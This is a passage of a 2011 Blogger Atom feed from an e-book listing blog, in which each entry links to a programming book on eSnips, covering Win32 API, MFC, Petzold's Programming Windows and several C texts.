style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/02a50fdd-062b-479f-93b7-2b4eb9230a97/C--C++-Win32-API-Programming/?widget=documentIcon"&gt;&lt;img border="0" alt="C &amp;amp; C++ Win32 API Programming" title="click to ViewC &amp;amp; C++ Win32 API Programming" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/02a50fdd-062b-479f-93b7-2b4eb9230a97/C--C++-Win32-API-Programming/?widget=documentIcon"&gt;C &amp;amp; C++ Win32 API ...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-8627045414809382469?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/8627045414809382469/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-c-win32-api-programming.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8627045414809382469'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8627045414809382469'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-c-win32-api-programming.html' title='C &amp; C++ Win32 API Programming'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-8557488236358378310</id><published>2011-03-24T14:29:00.000-07:00</published><updated>2011-03-24T14:29:19.485-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Advanced MFC Programming</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/eda7f677-faa1-41a8-aa38-65ff96f012c1/Advanced%20MFC%20Programming/?widget=documentIcon"&gt;&lt;img border="0" alt="Advanced%20MFC%20Programming" title="click to ViewAdvanced%20MFC%20Programming" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/eda7f677-faa1-41a8-aa38-65ff96f012c1/Advanced%20MFC%20Programming/?widget=documentIcon"&gt;Advanced%20MFC%20P...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-8557488236358378310?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/8557488236358378310/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/advanced-mfc-programming.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8557488236358378310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8557488236358378310'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/advanced-mfc-programming.html' title='Advanced MFC Programming'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-1027268054061281850</id><published>2011-03-24T14:27:00.003-07:00</published><updated>2011-03-24T14:27:58.204-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Programming MFC 2nd Edition</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/d320d0b3-f315-4953-84c2-fb303696615c/Programming-MFC-2nd-Edition/?widget=documentIcon"&gt;&lt;img border="0" alt="Programming MFC 2nd Edition" title="click to ViewProgramming MFC 2nd Edition" src="/images/thumbs/any.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/d320d0b3-f315-4953-84c2-fb303696615c/Programming-MFC-2nd-Edition/?widget=documentIcon"&gt;Programming MFC 2n...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-1027268054061281850?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/1027268054061281850/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-mfc-2nd-edition.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/1027268054061281850'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/1027268054061281850'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-mfc-2nd-edition.html' title='Programming MFC 2nd Edition'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-7864059550243697186</id><published>2011-03-24T14:27:00.001-07:00</published><updated>2011-03-24T14:27:17.860-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>code c win32</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/a0334239-af6f-4de0-afd2-5c09cec52348/codec-win32/?widget=documentIcon"&gt;&lt;img border="0" alt="codec win32" title="click to Viewcodec win32" src="/images/thumbs/any.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/a0334239-af6f-4de0-afd2-5c09cec52348/codec-win32/?widget=documentIcon"&gt;codec win32.rar&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-7864059550243697186?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/7864059550243697186/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/code-c-win32.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/7864059550243697186'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/7864059550243697186'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/code-c-win32.html' title='code c win32'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-5835779305941884275</id><published>2011-03-24T14:26:00.001-07:00</published><updated>2011-03-24T14:26:30.401-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Windows Programming - the Win32 API &amp; C</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/72c3ad5a-86ca-4cec-b68e-63cffc92d994/Windows-Programming---the-Win32-API--C/?widget=documentIcon"&gt;&lt;img border="0" alt="Windows Programming - the Win32 API &amp;amp; C" title="click to ViewWindows Programming - the Win32 API &amp;amp; C" src="/images/thumbs/thumb.zip.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/72c3ad5a-86ca-4cec-b68e-63cffc92d994/Windows-Programming---the-Win32-API--C/?widget=documentIcon"&gt;Windows Programmin...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-5835779305941884275?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/5835779305941884275/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/windows-programming-win32-api-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/5835779305941884275'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/5835779305941884275'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/windows-programming-win32-api-c.html' title='Windows Programming - the Win32 API &amp; C'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-201915219788742642</id><published>2011-03-24T14:25:00.001-07:00</published><updated>2011-03-24T14:25:53.737-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Programming Windows with MFC- Jeff Prosise</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/42eea24d-d3ad-46b8-9406-afea2b2da3bb/Programming-Windows-with-MFC--Jeff-Prosise/?widget=documentIcon"&gt;&lt;img border="0" alt="Programming Windows with MFC- Jeff Prosise" title="click to ViewProgramming Windows with MFC- Jeff Prosise" src="/images/thumbs/any.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/42eea24d-d3ad-46b8-9406-afea2b2da3bb/Programming-Windows-with-MFC--Jeff-Prosise/?widget=documentIcon"&gt;Programming Window...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-201915219788742642?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/201915219788742642/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-windows-with-mfc-jeff.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/201915219788742642'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/201915219788742642'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-windows-with-mfc-jeff.html' title='Programming Windows with MFC- Jeff Prosise'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-4245703758325994790</id><published>2011-03-24T14:24:00.001-07:00</published><updated>2011-03-24T14:24:37.507-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Programming Windows - Charles Petzold</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/b34a62a1-b915-4599-ba12-e4243ed6d1b4/Programming-Windows---Charles-Petzold/?widget=documentIcon"&gt;&lt;img border="0" alt="Programming Windows - Charles Petzold" title="click to ViewProgramming Windows - Charles Petzold" src="/images/thumbs/any.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/b34a62a1-b915-4599-ba12-e4243ed6d1b4/Programming-Windows---Charles-Petzold/?widget=documentIcon"&gt;Programming Window...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-4245703758325994790?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/4245703758325994790/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-windows-charles-petzold.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/4245703758325994790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/4245703758325994790'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-windows-charles-petzold.html' title='Programming Windows - Charles Petzold'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-977443489209042860</id><published>2011-03-24T14:22:00.001-07:00</published><updated>2011-03-24T14:22:37.790-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Oreilly Practical C Programming</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/da4986be-fa7e-4849-9bd9-b00b25c32ff6/O_reilly_-_Practical_C___Programming/?widget=documentIcon"&gt;&lt;img border="0" alt="O_reilly_-_Practical_C___Programming" title="click to ViewO_reilly_-_Practical_C___Programming" src="/images/thumbs/any.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/da4986be-fa7e-4849-9bd9-b00b25c32ff6/O_reilly_-_Practical_C___Programming/?widget=documentIcon"&gt;O_reilly_-_Practic...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-977443489209042860?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/977443489209042860/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/oreilly-practical-c-programming.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/977443489209042860'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/977443489209042860'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/oreilly-practical-c-programming.html' title='Oreilly Practical C Programming'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-73169811248281248</id><published>2011-03-24T14:20:00.001-07:00</published><updated>2011-03-24T14:20:57.409-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Guide to C programming</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/8be1aafc-e3bb-4eb9-93da-cf300f332881/Guide-to-C-programming/?widget=documentIcon"&gt;&lt;img border="0" alt="Guide to C programming" title="click to ViewGuide to C programming" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/8be1aafc-e3bb-4eb9-93da-cf300f332881/Guide-to-C-programming/?widget=documentIcon"&gt;Guide to C program...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-73169811248281248?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/73169811248281248/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/guide-to-c-programming.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/73169811248281248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/73169811248281248'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/guide-to-c-programming.html' title='Guide to C programming'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-3051989736907429668</id><published>2011-03-24T14:19:00.002-07:00</published><updated>2011-03-24T14:19:49.300-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>McGraw-Hill,.Schaum's Outline of Programming with C, 2nd Edition</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/31b5f3ad-e755-48b8-abd7-ab6a012c368a/McGraw-Hill,.Schaums-Outline-of-Programming-with-C,-2nd-Edition.[1996.ISBN0070240353].pdf/?widget=documentIcon"&gt;&lt;img border="0" alt="McGraw-Hill,.Schaum's Outline of Programming with C, 2nd Edition.[1996.ISBN0070240353].pdf" title="click to ViewMcGraw-Hill,.Schaum's Outline of Programming with C, 2nd Edition.[1996.ISBN0070240353].pdf" src="/images/thumbs/thumb.zip.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/31b5f3ad-e755-48b8-abd7-ab6a012c368a/McGraw-Hill,.Schaums-Outline-of-Programming-with-C,-2nd-Edition.[1996.ISBN0070240353].pdf/?widget=documentIcon"&gt;McGraw-Hill,.Schau...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-3051989736907429668?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/3051989736907429668/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/mcgraw-hillschaums-outline-of.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3051989736907429668'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3051989736907429668'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/mcgraw-hillschaums-outline-of.html' title='McGraw-Hill,.Schaum&apos;s Outline of Programming with C, 2nd Edition'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-8076485414839101725</id><published>2011-03-24T14:19:00.000-07:00</published><updated>2011-03-24T14:19:03.948-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Programming in C</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/cf8bba8e-9a76-4edc-8b41-691a6e3df996/Programming-in-C/?widget=documentIcon"&gt;&lt;img border="0" alt="Programming in C" title="click to ViewProgramming in C" src="/images/thumbs/thumb.zip.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/cf8bba8e-9a76-4edc-8b41-691a6e3df996/Programming-in-C/?widget=documentIcon"&gt;Programming in C.z...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-8076485414839101725?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/8076485414839101725/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-in-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8076485414839101725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8076485414839101725'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-in-c.html' title='Programming in C'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-4781173270415770313</id><published>2011-03-24T14:17:00.001-07:00</published><updated>2011-03-24T14:17:31.815-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Virtual Machine Design and Implementation</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr 